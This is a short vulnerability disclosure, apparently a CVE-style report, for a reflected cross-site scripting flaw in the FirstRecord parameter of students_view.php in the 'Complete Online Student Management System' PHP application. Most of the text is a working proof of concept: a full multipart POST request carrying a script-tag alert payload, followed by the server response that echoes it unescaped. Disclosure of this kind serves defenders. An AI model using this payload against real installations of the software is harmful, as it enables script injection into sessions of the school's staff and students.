

XSS injection vulnerability exists in FirstRecord parameter of students_view.php file of Complete Online Student Management System

With XSS, cybercriminals can turn trusted websites into malicious ones, thus causing inordinate harm and damage not only to the victims but also to the reputation of the trusted website's owner.

Websites that are compromised by XSS can cause any number of threats to attack a user's system. This can involve anything from inappropriate content being displayed to malware being downloaded onto the system without the user knowing.

```
1 POST /superschool/students_view.php HTTP/1.1
2 Content-Type: multipart/form-data; boundary=-----YWKMTQzNDcw
3 Accept: */*
4 Referer: http://192.168.31.163/superschool
5 Cookie: PHPSESSID=cfdvfdp660ria3k3p660s7mmnf; Student_Management_System=a26mc5s85oe6bitjnpa43mk3du
6 Content-Length: 2553
7 Accept-Encoding: gzip, deflate, br
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
9 Host: 192.168.31.163
10 Connection: Keep-alive
11
12 -----YWKMTQzNDcw
13 Content-Disposition: form-data; name="SearchString"
14
15 -----YWKMTQzNDcw
16 Content-Disposition: form-data; name="current_view"
17
18 TV
19 -----YWKMTQzNDcw
20 Content-Disposition: form-data; name="SortField"
21
22 5
23 -----YWKMTQzNDcw
24 Content-Disposition: form-data; name="SelectedID"
25
26 BBA/09/16
27 -----YWKMTQzNDcw
28 Content-Disposition: form-data; name="SelectedField"
29
30 2
31 -----YWKMTQzNDcw
32 Content-Disposition: form-data; name="SortDirection"
33
34 asc
35 -----YWKMTQzNDcw
36 Content-Disposition: form-data; name="FirstRecord"
37
38 1'`()&%<zzz><ScRiPt >alert(9849)</ScRiPt>
39 -----YWKMTQzNDcw
40
41 Content-Disposition: form-data; name="NoDV"
```

```
</script>
<input id="EnterAction" type="submit" style="position: absolute; left: 0px; top: -250px;" onclick="return enterAction();">
<div class="page-header">
  <h1>
    <a style="text-decoration: none; color: inherit;" href="students_view.php">
      
      Students
    </a>
  </h1>
</div>
<!-- possible values for current_view: TV, TVP, DV, DVP, Filters, TVDV --><input name="current_view" id="current_view" value="DV" type="hidden">
<input name="SortField" value="5" type="hidden">
<input name="SelectedID" value="BBA/09/16" type="hidden">
<input name="SelectedField" value="" type="hidden">
<input name="SortDirection" type="hidden" value="asc">
<input name="FirstRecord" type="hidden" value="1'`()&%<zzz><ScRiPt >alert(9849)</ScRiPt>" type="hidden" value="">
<input name="PrintDV" type="hidden" value="">
<input name="FilterAnd[5]" value="and" type="hidden">
<input name="FilterAnd[9]" value="and" type="hidden">
<input name="FilterAnd[13]" value="and" type="hidden">
<input name="FilterAnd[17]" value="and" type="hidden">
<input name="FilterAnd[21]" value="and" type="hidden">
<input name="FilterAnd[25]" value="and" type="hidden">
<input name="FilterAnd[29]" value="and" type="hidden">
<input name="FilterAnd[33]" value="and" type="hidden">
<input name="FilterAnd[37]" value="and" type="hidden">
<input name="FilterAnd[41]" value="and" type="hidden">
<input name="FilterAnd[45]" value="and" type="hidden">
<input name="FilterAnd[49]" value="and" type="hidden">
<input name="FilterAnd[53]" value="and" type="hidden">
<input name="FilterAnd[57]" value="and" type="hidden">
<input name="FilterAnd[61]" value="and" type="hidden">
<input name="FilterAnd[65]" value="and" type="hidden">
<input name="FilterAnd[69]" value="and" type="hidden">
```

Payload: FirstRecord=1'`()&%<zzz><ScRiPt >alert(9849)</ScRiPt>

Source Download:

<https://www.campcodes.com/projects/php/online-student-management-system/>